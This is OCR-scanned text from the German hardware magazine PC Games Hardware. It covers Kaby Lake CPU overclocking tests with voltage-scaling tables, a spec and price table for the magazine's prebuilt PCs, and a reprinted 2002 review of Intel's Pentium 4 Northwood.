spruchsvollen AVX-Anwendung zu 
riskieren. Zum Austesten können 
Sie Prime95 verwenden, das in äl- 
teren Versionen bis einschließlich 
26.6 den AVX-Befehlssatz nicht 
nutzt. Neuere Versionen wie die 
von uns genutzte 28.10 machen in- 
tensiven Gebrauch von AVX/FMA3, 
was zu einer extremen Auslastung 
und Temperaturentwicklung führt 
- daher nur mit Bedacht einsetzen, 
um die Hardware zu schonen. 


Core i3-7350K 

Der Dualcore mit SMT stellt recht 
geringe Anforderungen an die 
Kühlleistung, da die Leistungsauf- 
nahme selbst bei starker Überspan- 
nung nicht so heftig ansteigt wie 
bei Prozessoren mit vier oder mehr 
Kernen. Nutzer einer Luftkühlung 
können sich daher nach unserer 
Einschätzung ohne große Beden- 
ken in den Spannungsbereich über 
1,30 Volt vorwagen um einen Kern- 


takt von 5 GHz zu erzielen. Achten 
Sie aber dennoch auf die Tempe- 
raturen und vor allem darauf, wie 
gut die CPU skaliert. Hinsichtlich 
der Energieeffizienz ist es nicht zu 
empfehlen, beispielsweise 20 Watt 
mehr für eine Takterhöhung um 
100 MHz zu verbraten. 


Core i5-7600K 

Grundsätzlich lassen sich Prozes- 
soren mit einer höheren Kernan- 
zahl weniger gut übertakten, daher 
überrascht uns der von uns einge- 
setzte Retail-Chip umso mehr: Das 
Overclocking-Potenzial fällt gegen- 
über dem Core i3-7350K kaum ab, 
im Cinebench R15 gelingt uns bei 
gleicher Spannung sogar oft noch 
eine Takterhöhung, bevor das Sys- 
tem instabil wird. Um den Chip aus- 
zureizen sollten Sie aber bereits ge- 
hobenes Kühlequipment besitzen, 
also einen guten Turmkühler oder 
gar eine Wasserkühlung. Unsere 
Wasserkühlung hat Reserven bis 
1,40 Volt, das extrem fordernde Pri- 
me95 bringt dann allerdings einzel- 
ne Kerne ans Temperaturlimit und 
Schutzschaltungen greifen, um die 
Last zu verringern. Gegenüber dem 
Vorgänger i5-6600K beobachten 
wir ein Taktplus von ca. 300 MHz 
bei gewöhnlicher Last (Cinebench) 
und immerhin 100 bis 200 MHz bei 
Extrembelastung durch Prime95. 


Core i7-7700K 

Das neue Topmodell enttäuscht 
ebenfalls nicht und bietet im Ver- 
gleich zum Vorgänger i7-6700K 
mehr Spielraum bei gleicher Span- 
nung. Die Abstände fallen mit bis 
zu 500 MHz (4,6 statt 4,1 GHz für 
Cinebench bei 1,10 Volt) teilweise 
beachtlich aus, allerdings schwan- 
ken natürlich die OC-Reserven zwi- 
schen einzelnen Exemplaren. Ein 
schlechter i7-7700K bietet nicht 
unbedingt mehr Spielraum als ein 
guter i7-6700K. SMT ermöglicht 
eine besonders intensive Auslas- 
tung des schnellsten Kaby-Lake- 
Modells, daher stellt der i7-7700K 
auch die größten Anforderungen 
an die Kühlleistung: Für Anwen- 
der mit einer Luftkühlung liegt 
das sinnvolle Limit bei rund 1,25 
Volt, für mehr als 1,30 Volt ist eine 
Wasserkühlung sehr zu empfehlen. 
Dann werden Sie aber auch mit 


www.pcgameshardware.de 
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einer Leistung belohnt, für die Sie 
sonst zu einem Sechskernmodell 
wie dem i7-6800K für den Sockel 
2011-v3 greifen müssten. 


Pentium und RAM 

Auch der G4560 lässt sich beschleu- 
nigen, allerdings dank BIOS-Sperre 
ohne offenen Multiplikator nur in 
einem sehr bescheidenem Maße: 
Die Overclocking-Grenze liegt bei 


knapp unter 103 MHz Referenztakt, 
derart konfiguriert liegt der Kern- 
takt bei rund 3,6 statt 3,5 GHz. Das 
entspricht dem Leistungsniveau 
des 25 Euro teureren G4600, der 
allerdings auch eine rund doppelt 
so schnelle IGP beinhaltet. 


Gegenüber Skylake hat Intel zwar 
den offiziell erlaubten RAM-Takt 
erhöht, DDR4-2400 stellt aber bei 


Weitem nicht das Ende des Mach- 
baren dar. Davon überzeugen wir 
uns mit einem 16 GiByte fassenden 
DDR4-3600-Duo von G.Skill, dem 
alle K-Modelle gewachsen sind. Für 
fortgeschrittenes RAM-Tuning und 
Vorstöße in den Bereich um DDRÁ- 
4000 sollten Sie sich den Spannun- 
gen VCCIO und VCCSA bei Stabi- 
litàtsproblemen zuwenden. Rund 
1,20 Volt sollten ausreichen. (sw) 


Core i3-7350K: Spannungsskalierung von 1,10 bis 1,40 Volt 


Fazit Hardware 


Kaby-Lake-Overclocking 

Die neuen Sockel-1151-Prozessoren 
lassen sich besser als Skylake übertak- 
ten, 5 GHz sind mit einer leistungsfä- 
higen und alltagstauglichen Kühlung 
in Reichweite. Besonders die Quad- 
core-Modelle überzeugen, der i3- 
7350K bietet zum aktuellen Preis zu 
wenig Rohleistung pro Euro. 


* entspricht „Optimized Defaults” ohne „Asus Multicore Enhancement" und 


Energiesparoptionen 
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Kernspannung (UEFI-Menü) Auto (ca. 1,15 Volt)* 1,100 Volt 1,150 Volt 1,200 Volt 1,250 Volt 1,300 Volt 1,350 Volt 1,400 Volt 
Max. Kerntakt (Cinebench R15) 4.200 MHz (kein OC) 4.600 MHz 4.700 MHz 4.800 MHz 4.900 MHz 5.000 MHz 5.000 MHz 5.100 MHz 
Max. Kerntakt (Prime95 v28.10, Small FFTs) 4.200 MHz (kein OC) 4.400 MHz 4.600 MHz 4.700 MHz 4.800 MHz 4.900 MHz 4.900 MHz 5.000 MHz 
Leistungsaufnahme (Leerlauf, P95-Takt) 62 Watt 65 Watt 67 Watt 68 Watt 69 Watt 70 Watt 70 Watt 71 Watt 
Leistungsaufnahme (Cinebench R15) 100 Watt 103 Watt 107 Watt 111 Watt 117 Watt 123 Watt 127 Watt 135 Watt 
Leistungsaufnahme (Prime95 Small FFTs) 112 Watt 108 Watt 113 Watt 118 Watt 124 Watt 133 Watt 140 Watt 151 Watt 
Differenz zwischen Prime95 und Leerlauf 50 Watt 43 Watt 47 Watt 50 Watt 55 Watt 63 Watt 70 Watt 80 Watt 
Kerntemperatur (Prime95 Small FFTs) 49.6 °C 48,7 °C 53,3 °C 58,0 °C 62,4°C 68,1 °С 74,1°C 80,2 °C 
Differenz zwischen kühlstem/heißestem Kern 1 Kelvin 1 Kelvin 1 Kelvin 1 Kelvin 2 Kelvin 2 Kelvin 4 Kelvin 4 Kelvin 
Punkte in Cinebench R15 bei max. Takt 450 487 498 505 514 530 530 539 
Punkte pro Watt (Cinebench R15, max. Takt) 4,50 4,13 4,65 4,55 4,39 4,31 4,17 3,99 
System: Asus Maximus VIII Extreme (UEFI 3007), 2 x 8 GiByte DDR4-2400 (15-15-15-36 1T), Geforce GT 640, Wasserkühlung mit Koolance CPU-380I und Alphacool Nexxxos Monsta 


420; Win 10 Bemerkungen: Ausgetestet in 100-MHz-Schritten, Raumtemperatur auf 20 °C normiert 


Core i5-7600K: Spannungsskalierung von 1,10 bis 1,40 Volt 
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420; Win 10 Bemerkungen: Ausgetestet in 100-MHz-Schritten, Raumtemperatur auf 20 °C normiert 


Kernspannung (UEFI-Menü) Auto (ca. 1,10 Volt)* 1,100 Volt 1,150 Volt 1,200 Volt 1,250 Volt 1,300 Volt 1,350 Volt 1,400 Volt 
Max. Kerntakt (Cinebench R15) 4.000 MHz (kein OC) 4.600 MHz 4.800 MHz 4.900 MHz 5.000 MHz 5.100 MHz 5.100 MHz 5.200 MHz 
Max. Kerntakt (Prime95 v28.10, Small FFTs) 4.000 MHz (kein OC) 4.300 MHz 4.500 MHz 4.600 MHz 4.700 MHz 4.800 MHz 4.900 MHz Zu heiß 
Leistungsaufnahme (Leerlauf, P95-Takt) 64 Watt 69 Watt 71 Watt 73 Watt 74 Watt 76 Watt 78 Watt 80 Watt 
Leistungsaufnahme (Cinebench R15) 115 Watt 122 Watt 129 Watt 138 Watt 146 Watt 156 Watt 164 Watt 177 Watt 
Leistungsaufnahme (Prime95 Small FFTs) 125 Watt 133 Watt 144 Watt 156 Watt 169 Watt 184 Watt 201 Watt > 220 Watt 
Differenz zwischen Prime95 und Leerlauf 61 Watt 64 Watt 73 Watt 83 Watt 95 Watt 108 Watt 123 Watt Entfäll 
Kerntemperatur (Prime95 Small FFTs) 46,8 °C 50 *C 55,1 5C 60,8 °C 66,6 °C 72,8?C 80,0 °C >90 °C 
Differenz zwischen kühlstem/heißestem Kern 5 Kelvin 5 Kelvin 6 Kelvin 7 Kelvin 7 Kelvin 7 Kelvin 8 Kelvin Entfáll 
Punkte in Cinebench R15 bei max. Takt 657 740 765 782 801 820 820 820 
Punkte pro Watt (Cinebench R15, max. Takt) b 6,07 5,93 5,67 5,49 5,26 5,00 4,63 
System: Asus Maximus VIII Extreme (UEFI 3007), 2 x 8 GiByte DDR4-2400 (15-15-15-36 1T), Geforce GT 640, Wasserkühlung mit Koolance СРО-3801 und Alphacool Nexxxos Monsta 


Core i7-7700K: Spannungsskalierung von 1,10 bis 1,40 Volt 


* entspricht , Optimized Defaults“ ohne „Asus Multicore Enhancement" und 


Energiesparoptionen 


420; Win 10 Bemerkungen: Ausgetestet in 100-MHz-Schritten, Raumtemperatur auf 20 °C normiert 


Kernspannung (UEFI-Menü) Auto (ca. 1,20 Volt)* 1,100 Volt 1,150 Volt 1,200 Volt 1,250 Volt 1,300 Volt 1,350 Volt 1,400 Volt 
Max. Kerntakt (Cinebench R15) 4.400 MHz (kein OC) 4.600 MHz 4.700 MHz 4.800 MHz 4.900 MHz 4.900 MHz 5.000 MHz 5.100 MHz 
Max. Kerntakt (Prime95 v28.10, Small FFTs) 4.400 MHz (kein OC) 4.300 MHz 4.500 MHz 4.600 MHz 4.700 MHz 4.700 MHz Zu heiß N. getestet 
Leistungsaufnahme (Leerlauf, P95-Takt) 64 Watt 69 Watt 70 Watt 73 Watt 74 Watt 76 Watt 78 Watt Entfäll 
Leistungsaufnahme (Cinebench R15) 146 Watt 135 Watt 143 Watt 152 Watt 164 Watt 174 Watt 188 Watt 202 Watt 
Leistungsaufnahme (Prime95 Small FFTs) 166 Watt 146 Watt 159 Watt 173 Watt 192 Watt 205 Watt 226 Watt Entfäll 
Differenz zwischen Prime95 und Leerlauf 102 Watt 77 Watt 89 Watt 100 Watt 118 Watt 129 Watt 148 Watt Entfäll 
Kerntemperatur (Prime95 Small FFTs) 64,4 °C 54,9 °C 61,4 ?C 67,4 °C 74,4 °C 81,1 °C >90 °C Entfäll 
Differenz zwischen kühlstem/heißestem Kern 3 Kelvin 3 Kelvin 4 Kelvin 4 Kelvin 6 Kelvin 8 Kelvin Entfällt Entfáll 
Punkte in Cinebench R15 bei max. Takt 953 974 1.016 1.037 1.053 1.053 1.070 1.093 
Punkte pro Watt (Cinebench R15, max. Takt) 6,57 Тал 7,10 6,82 6,42 6,05 5,69 5,4 
System: Asus Maximus VIII Extreme (UEFI 3007), 2 x 8 GiByte DDR4-2400 (15-15-15-36 1T), Geforce GT 640, Wasserkühlung mit Koolance СРО-3801 und Alphacool Nexxxos Monsta 
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Kaby-Lake-CPU 
3 neuen PCGH-PCs 


L| 
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| Ri Retail-Komf 
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ewährleisten 


Anfang Januar hat Intel neue Sockel-1151-CPUs vorgestellt. PC Games Hardware 
hat daher den High-End-PC, den Enthusiast-PC sowie den Extreme-PC aktualisiert. 


P neue Kaby-Lake-Prozessoren sind 


deutlich hóher getaktet als 


ihre direk- 


ten Vorgánger und das merkt man auch in 


den Benchmarks. Der Core 


і5-7600К im 


neuen PCGH-High-End-PC taktet nun mit 
3,8 GHz (i5-6600K: 3,5 GHz) und auch der 
Turbo-Takt ist jetzt um 300 MHz hóher (4,2 
GHz). Im Cinebench messen wir dadurch 
ein Leistungsplus von rund zehn Prozent. 
Das Sockel-1151-Top-Modell Core i7-7700K 
kommt nun im aktualisierten PCGH-Enthusi- 


ast-PC und im PCGH-Extreme-PC zum Ein- 
satz. Auch dieser ist hóher getaktet als sein 
Vorgänger i7-6700K (4,2 statt 4,0 GHz). Im 
Turbo-Modus sind es mit 4,5 GHz sogar 300 
MHz mehr. Die Cinebench-Leistung steigt 
dadurch um knapp zwólf Prozent. Alle diese 
PCs setzen auf die neuen Z270-Boards von 
Asus, die als Neuerung unter anderem über 
zwei M.2-Steckplátze für SSDs verfügen. 
Mehr Infos zu unserem PCGH-PC-Sortiment 


finden Sie unter www.pcgh-pc.de. (dw) 


Hardware 


Offizielles PCGH-Produkt 


Hersteller/Bezugsquelle 


PCGH-High-End-PC 


Alternate (www.pcgh.de/alternate) 


PCGH-Enthi t-PC 
GTX1070-Edition V2 
Alternate (www.pcgh.de/alternate) 


PCGH-Extreme-PC 


Alternate (www.pcgh.de/alternate) 


GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


PCGH-Epi 
GTX1080-Edition 
Alternate (www.pcgh.de/alternate) 


Erweiterte Informationen 


www.pcgh.de/highend-v2-pc 


www.pcgh.de/enthusiast2-pc 


www.pcgh.de/extreme2-pc 


www.pcgh.de/ultimate-pc 


www.pcgh.de/epic-pc 


Ausstattung 

Prozessor Intel Core i5-7600K Intel Core i7-7700K Intel Core i7-7700K Intel Core i7-6800K Intel Core i7-6800K 
Grafikkarte Asus GTX 1070 Strix OC Gaming Asus GTX 1070 Strix OC Gaming Asus GTX 1080 Strix Advanced Geforce GTX 1080 (OC-Version) Asus GTX 1080 Strix Advanced 
Mainboard Asus Prime Z270-P Asus Prime 2270-А Asus Prime Z270-A Asus Strix X99 Gaming Asus Strix X99 Gaming 


SSD-Laufwerk 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300 M.2) 


525-GB-SSD (Crucial MX300) 


1.050-GB-SSD (Crucial MX300) 


512 GB М.2 + 1 TB (Samsung/Crucial) 


HDD-Laufwerk 


1.000-GB-HDD (WD Blue) 


2.000-GB-HDD (WD Blue) 


3.000-GB-HDD (WD Red) 


3.000-GB-HDD (Toshiba DTO1ACA300) 


mit 64-Bit-Betriebssystem* 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


(inkl. Windows 10 Home) 


Speicher 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 16 GB DDR4-2400 (Crucial) 32 GB DDR4-2666@2400 (HyperX) 32 GB DDR4-2400 (Crucial) 
Netzteil Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. | Seasonic G-Series 550W PCGH-Ed. 
CPU-Kühler Scythe Mugen 4 PCGH-Edition Scythe Mugen 4 PCGH-Edition EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition EKL Brocken 2 PCGH-Edition 
Gehäuse Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition Fractal Design R5 PCGH-Edition 
Laufwerk/Soundkarte DVD-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound Blu-ray-Brenner/Onboard-Sound 
Geháuselüfter/Sonstiges |3 x Lüfter, WLAN-Karte EW-7822PIC | 3 x Lüfter, WLAN-Karte EW-7822PIC | 3 x Lüfter, WLAN-Karte EW-7822PIC| З х Fractal-Lüfter, WLAN onboard | З х Fractal-Lüfter, WLAN onboard 
Leistung 
Lautstärke 2D (0,5 m) 0,3 Sone/22 dB(A) 0,2 Sone/20 dB(A) 0,2 Sone/21 dB(A) 0,3 Sone/22 dB(A) 0,2 Sone/19 dB(A) 
Lautstärke 3D (0,5 m) 0,7 Sone/27 dB(A) 0,6 Sone/26 dB(A) 1,0 Sone/30 dB(A) 1,0 Sone/29 dB(A) 1,0 Sone/29 dB(A) 
Leistungsaufnahme 2D/3D 36 Watt/240 Watt 40 Watt/254 Watt 43 Watt/289 Watt 60 Watt/303 Watt 69 Watt/309 Watt 
3D Mark (Fire Strike) 4.429 (U), 7.982 (E), 14.479 (S) 4.567 (U), 8.472 (E), 16.186 (S) 5.378 (U), 10.025 (E), 18.505 (S) | 5.409 (U), 10.105 (E), 18.047 (S) | 5.350 (U), 10.025 (B), 17.747 (S) 
Crysis 3/The Witcher 3 82 Fps/68 Fps 83 Fps/68 Fps 100 Fps/84 Fps 100 Fps/83 Fps 100 Fps/83 Fps 
Stalker: Call of Pripyat 192 Fps (Sun Shafts, Ultra, 4x AA) | 205 Fps (Sun Shafts, Ultra, 4x АА) | 228 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4x AA) | 215 Fps (Sun Shafts, Ultra, 4x AA) 
Aliens vs Predator Bench. 245 Fps (1.920 x 1.080) 248 Fps (1.920 x 1.080) 307 Fps (1.920 x 1.080) 302 Fps (1.920 x 1.080) 304 Fps (1.920 x 1.080) 
Cinebench R11.5 x64 (CPU) 7,63 Punkte 10,85 Punkte 10,88 Punkte 12,00 Punkte 12,04 Punkte 
PREIS 
е Є1.699,- €1.979,- €2.249,- €2.679,- €2.829,- 
PREIS €1.799,- €2.079,- €2.349,- €2.779,- €2.929,- 


(inkl. Windows 10 Home) 


© Neuer Intel-Kaby-Lake-Prozessor 
© Sehr leise unter 2D und 3D 
© Kein Blu-ray-Laufwerk 


© Schnelle Geforce GTX 1070 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© Sehr schnelle Geforce GTX 1080 
© Sehr leise unter 2D 
© Niedriger Stromverbrauch 


© 6-Kern-CPU und 1.000-GB-SSD 
© Geforce GTX 1080 als OC-Version 
© Hoher Stromverbrauch in 2D 


© 6-Kern-CPU und Asus GTX 1080 
© M.2-SSD (Samsung 960 Pro) 
© Hoher Preis 


* Preiserfassung und Produktdaten vom 16.01.2017, unter www.pcgh.de/alternate finden Sie stets den aktuellen Preis. Bei der Variante mit Betriebssystem sind neben Windows auch sámtliche Treiber installiert und der 
PC ist sofort einsatzbereit. FAQ: Wie installiere ich Windows selbst? Eine Video-Anleitung, wie Sie die Windows-Version Ihrer Wahl ganz einfach selbst installieren, finden Sie unter www.pcgh.de/windows. 
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y Geheimakte Geforce4 | 
Sensationelle Infos: Die brandneue 
30-Generation von Nvidia im Detail 


2 =" Speicher-Bibel | 

% mehr Leistung: So nutzen Si | 
= Ihren Arbeitsspeicher ee | 
Verbraucher-Report 


Stressfrei Hardwar, kaufen; Fakten | 


r-Tipps 


Neuer, schneller, weiter — die Hardware-Welt kennt nur eine Richtung. Aber oft wird erst im Nach- 


hinein ersichtlich, wer der Sieger ist. Wir schauen, was aus 15 Jahre alten Erwartungen wurde. 


ardware-Tests sind immer ein 

Versuch, die Zukunft vorher- 
zusagen: Lohnen sich acht Kerne, 
bevor die LGA-2011-Plattform ver- 
altet? Stirbt eine RX480 mit 4 GiB 
an Speichermangel, bevor auch 
der großen 8-Gibibyte-Schwester 
die Rechenleistung ausgeht? Oder 
ist es nicht doch sinnvoller, jetzt 
Geld zu sparen und die Hard- 
ware im Gegenzug früher gegen 
Produkte tauschen zu können, 
die es heute noch gar nicht gibt? 


Wer seiner Zeit tatsächlich weit vo- 
raus war und was man dem Markt 
auch hätte ersparen können, kann 
man oft nur rückblickend bewer- 
ten - und genau das wollen wir in 
Zukunft bei Interesse regelmäßig 
machen. Wie gefällt Ihnen das neue 
„vor 15 Jahren“-Format? Schreiben 
Sie uns Ihre Meinung an leserpost@ 
pcgameshardware.de. 


www.pcgameshardware.de 


Intel als Underdog 

Es mag heute unvorstellbar sein, 
aber kurz nach der Jahrtausend- 
wende spielt Intel für PC-Spieler 
keine große Rolle. Nach dem Kopf- 
an-Kopf-Rennen zwischen Athlon 
und Pentium Ш wischt AMDs 
Athlon XP mit der ersten Pentium- 
4-Generation den Boden auf - und 
das nicht nur „pro Euro“. Trotz 
deutlich günstigerer Preise stehen 
AMD-Systeme auch in Sachen ab- 


soluter Spieleleistung an der Spit- 
ze, einzig in Anwendungen und 
mit der Stabilität der hauseigenen 
Chipsätze kann Intel gelegentlich 
punkten. Maßgeblich verantwort- 
lich für den Flop ist die 180-nm- 
Fertigung des Williamette-Kerns, 
denn eigentlich soll der Pentium 
4 in taktfreudigen 130 nm star- 
ten. Diese Ausbaustufe reicht Intel 
Anfang 2002 nach, im PCGH-Test 


schafft der „Northwood“-Penti- 


PCGH-Ausgabe 03/2002 auf Heft-DVD 


Den originalen 
PCGH-Test der zweiten 
Pentium-4-Generation 
können Sie auf den 
folgenden Seiten nachlesen. 
Wer noch tiefer in die Vergangenheit ein- 
steigen möchte, findet auf der beiliegenden 
DVD auch den Rest der Ausgabe. 


um-4 immerhin einen Achtungser- 
folg und platziert sich knapp vor 
dem Athlon XP 2000+. Kurze Zeit 
später wird AMD mit dem 2100+ 
kontern, aber dank gesenkter Ver- 
lustleistung und gesteigerten Takt- 
reserven kann der Northwood mit- 
halten. Bis zum Spätsommer 2002 
erreicht Intel 2,8 GHz, die dank 
des zusätzlich auf effektiv 533 MHz 
beschleunigten Front-Side-Busses 
auch AMDs Athlon XP 2800+ auf 
Augenhöhe gegenübertreten. Das 
wichtigste neue Feature bleibt aber 
bis zum Jahresende geheim: Dank 
Hyperthreading können spätere 
Northwood-Modelle zwei Threads 
parallel bearbeiten, verbessern so 
die Bedienbarkeit von PCs deut- 
lich und 2003 wird der Kern, mit 
FSB 800 und einer bezahlbaren 
Dual-Channel-DDR-Plattform 
Rücken, den Athlon XP auf ganzer 
Linie schlagen. (dv) 


im 
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r. 
2 


Mac. 


Der Megahertz-Wahn 
geht weiter: Intel und 
AMD haben zum Jah- 
resbeginn neue und 
schnellere Prozessoren 
vorgestellt. PC Games 
Hardware zeigt, welche 
Leistung Spieler er- 


warten können. 
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m Kampf um den 

schnellsten Prozessor 

haben Intel und AMD 
neue Geschütze aufgefahren: Der 
weltgrößte Chiphersteller Intel 
präsentierte am 7. Januar den 
verbesserten Pentium 4 mit 
,Northwood"-Kern, Konkurrent 
AMD hatte bereits wenige Stun- 
den zuvor einen schnelleren Ath- 
lon vorgestellt. Der neue Intel- 
Prozessor besitzt mehr L2-Cache, 
die Architektur des Athlon XP 
2.000+ (1.667 MHz) wurde dage- 
gen nicht verändert. Bei diesem 
Prozessor handelt es sich „nur” 
um ein Geschwindigkeits-Up- 
date des bekannten XP-Prozes- 
sors (PC Games Hardware berichte- 


role 


te). Die Kräfteverhältnisse haben 
sich durch die neuen Chips nur 
leicht verändert. Mit den jeweils 
schnellsten Hauptplatinen und 
Speichermodulen liegen Pentium 
4 Northwood 2,2 GHz und Ath- 
lon XP 2.000+ bei unserer Bench- 


mark-Suite etwa gleichauf. Das 
Bild wendet sich zugunsten 
des Athlon, wenn der Pentium 4 
auf einer Hauptplatine mit dem 
populären 845D-Chipsatz läuft. 
Wegen der geringeren Speicher- 
bandbreite im Vergleich zu ei- 
nem i850/Sis 645 verliert der 
neue Intel-Chip ein paar Prozent 
Leistung; das verhilft dem Ath- 
lon zu einem knappen Vor- 
sprung, jedenfalls bei unserem 


Benchmark-Paket. Der Intel-Pro- 
zessor liegt dagegen bei SSE- und 
SSE2-optimierter Software vor- 
ne. Für Spieler ist das ein 
schlechtes Argument — schließ- 
lich sind bislang nur wenige 
Spiele wirklich SSE2-optimiert, 
das bekannteste Beispiel ist 
Black & White. Doch Anwender, 
die nicht nur spielen, sondern 
auch Videos/Musik verarbeiten 
wollen oder häufig Bilder bear- 
beiten, finden mittlerweile zu- 
nehmend optimierte Programme 
auf dem Markt. Zu den po- 
pulärsten gehören die Raytra- 
cing-Software Lightwave 3D, die 
Musikprogramme Musikmatch 
und Musikmaker, Uleads Video- 


www.pcgameshardware.de 
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1 SSE/SSE2 
(Streaming SIMD Exten- 
sion, wobei SIMD = 
Single Instruction Mul- 
tiple Data); Befehlssatz- 
Erweiterungen, die einige 


(Multimedia-)Anwendun- 
gen beschleunigen 


Bil Li-Cache 
Prozessoreigener, schnel- 
ler Level-1-Zwischenspei- 
Cher, unterteilt in einen 
Daten- und einen Be- 
fehlscache 


WB Trace-Cache 
Besondere Form des L1- 
Befehlscache beim P4; 
hält bereits dekodierte 

Instruktionen bereit 


studio, Videowave 5 von MGI 
und Adobes Photoshop. 


Die Neuerungen des Pentium 4 
sind schnell erklärt. Der North- 
wood-Prozessor hat jetzt 512 
KByte L2-Cache (Willamette: 256 
KByte), er wird im 0,13-Mikro- 
meter-Verfahren hergestellt (Wil- 
lamette: 0,18). Der zusätzliche 
L2-Cache hilft vor allem spei- 
cherintensiven Anwendungen 
und Spielen wie Unreal Tourna- 
ment auf die Sprünge. Einige äl- 
tere Spiele wie F.A.K.K. 2 laufen 
auf dem Northwood dagegen 
kaum schneller. Die Spiele-En- 
gine lásst sich hier offenbar auch 
mit 256 KByte gut im Cache hal- 


www.pcgameshardware.de 


ten. Der L1-Datencache bleibt 
mit 8 KByte gleich groß - oder 
besser gleich klein. Wer mit der 
Leistung eines 2.200-Megahertz- 
Prozessors nicht zufrieden ist, 
kann sich mit einem Northwood 
auf kühne Übertaktungsabenteu- 
er freuen. Durch den kleineren 
Herstellungsprozess von 0,13 
Mikrometern hat das neue Intel- 
Flaggschiff große Reserven. Un- 
ser 2,2-GHz-Testmuster konnten 
wir mit dem gewöhnlichen Intel- 
Kühler problemlos bis zu 2.700 
MHz übertakten — stabil! Mit 
leistungsstárkeren Kühlern dürf- 
len Übertakter sogar die Drei- 
Gigahertz-Marke problemlos er- 
reichen. Intel hatte schon im 
August auf dem Entwickler- 
forum IDF einen Pentium 4 ge- 
zeigt, der mit 3,5 GHz lief. 


Der Northwood-Prozessor ver- 
braucht wegen des feineren 
Herstellungsprozesses weniger 
Energie. Intel gibt den Leistungs- 
verbrauch (, Thermal Design Po- 
wer“), den der Kühler eines 2,2- 
GHz-Prozessors abführen muss, 
mit 55 Watt an. Das sind 20 Watt 
weniger als der Pentium 4 2,0 mit 
Willamette-Kern. Außerdem be- 
gnügen sich Northwood-Prozes- 
soren mit 1,5 Volt Kernspannung 
(Willamette: 1,75 Volt). Alle ak- 
tuellen Pentium-4-Hauptplati- 
nen können diese Spannung 
erzeugen, das Upgrade sollte 
problemlos verlaufen. Wer ei- 
nen Northwood einsetzen will, 
braucht in den meisten Fällen 
nicht einmal ein BIOS-Update. 
Sieben von acht Mainboards im 
Vergleichstest (siehe Seite 76) er- 
kannten den Prozessor auf An- 
hieb und liefen ohne Probleme. 


Ш SCHRUMPFKUR 

Die Kerngröße des P4 sinkt 
im 0,13-Prozess auf 146 mm' 
= obwohl der L2-Cache 
(uniforme Bereiche rechts) 
verdoppelt wurde. 


Lediglich das Aopen-Board 
wollte erst nach einem BIOS-Up- 
date mit dem neuen Prozessor 
arbeiten. Besitzer einer älteren 
Sockel-423-Platine haben Pech: 
Der Northwood erscheint aus- 
schließlich für den Sockel 478. 


Es gibt bislang nur zwei Pen- 
tium-4-Prozessoren mit North- 
wood-Kern: ein 2,0- und ein 2,2- 
GHz-Modell. Die Händler füh- 
ren das 2,0-GHz-Modell unter 
der Bezeichnung „Pentium 4 
2.000A", den normalen Wila- 
mette-Chip unter dem Namen 
,Pentium 4 2.000". Ein Pentium 
4 2200 ist dagegen immer ein 
Northwood-Prozessor. Intel ver- 
kauft den 2,2-GHz-Prozessor in 
1.000er-Stückzahlen für 562 US- 
Dollar, den Pentium 4 2,0A für 
364 US-Dollar. Weitere Preissen- 
kungen werden bald folgen. 


Mit dem 0,13-Mikrometer-Ver- 
fahren kann Intel die Kosten der 
Prozessorproduktion deutlich 
verringern. Die Größe des 
Prozessorkerns (, Die-Size") 
schrumpft beim Northwood 
auf 146 mm?. Der Willamette 
brauchte noch stattliche 217 
mm‘, ein Athlon XP benötigt 128 
mm’. Im Laufe des Jahres wird 
Intel die komplette P4-Produk- 
tion auf 300-Millimeter-Wafer 
umstellen. Vorteil im Vergleich 
zu den aktuellen 200-Millimeter- 
Wafern: Auf die größeren Sili- 
ziumscheiben passen etwa 2,4 
Mal mehr Prozessorkerne, die 
Produktion wird günstiger. Mit 
den Benchmarks der neuen Pro- 
zessoren stellt sich die Fra-ge: 
Müssen Spieler jetzt schon wie- 
der aufrüsten? Wir meinen: 


Typ- 
Beratung 


Kaufen oder warten? Was | 
bringt der Northwood? | 


Ich interessiere mich für den 
Northwood-Prozessor. Wann 
ist der beste Kaufzeitpunkt? | 
Intel wird die Preise nach unseren 
Informationen Ende Januar sen- 
ken, aber leider nur für die „älte- 
ren" Willamette-Prozessoren. Die 
Preissenkungen liegen im Bereich | 
von 12 bis 18 Prozent. Ein guter | 
Kaufzeitpunkt für den Northwood- 
Prozessor dürfte im Mšrz/April 
kommen. Unser Tipp für Intel- 
Fans, die aufrüsten wollen: Jetzt 
einen Willamette-P4 im mittleren 
Frequenzbereich (1.600 bis 1.900 | 
MHz) kaufen und in ein paar Mo- 
naten durch einen Northwood- 
Prozessor ersetzen. 


Chip-Info ` 


Die wichtigsten Intel- | 
Chips im Überblick 


P4 Northwood 

Intels neuester Chip: 
Hat 512 КВ L2- Cache, 
SSE2 und läuft mit effek- 
tiven 400 MHz FSB- 
Takt. Erscheint nur 
für Sockel 478. 


Р4 Willamette 
„Älterer“ Pentium 4 im 
0,18-Mikrometer-Ferti- 
gungsprozess. Hat 256 
KB L2- Cache und er- 
schien für Sockel 423 
und Sockel 478. 


Celeron 
Basiert auf Pentium- 
Ill-Kern. Die Weiter- 


entwicklung wird 
voraussichtlich noch in 
diesem Jahr eingestellt. 
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»Inzwischen 
dürfte es 
Hunderte 
Pentium-4- 
optimierte 
Applikationen 

Christian geben. « 

Anderka 

Intel Deutschland 

Kritiker hatten den Li-Daten- 


cache des Pentium 4 stets als 
zu klein bezeichnet. Warum hat 
Intel beim neuen Pentium 4 nur 
den L2-Cache vergrößert? 
Möglicherweise hatten die Kritiker 
nicht Recht und eine Erweiterung 
des L1-Datencaches bringt nicht so 
viel wie die Erweiterung des L2- 
Caches? Sie dürfen sich ruhig auf 
die Expertise der Intel-Ingenieure 
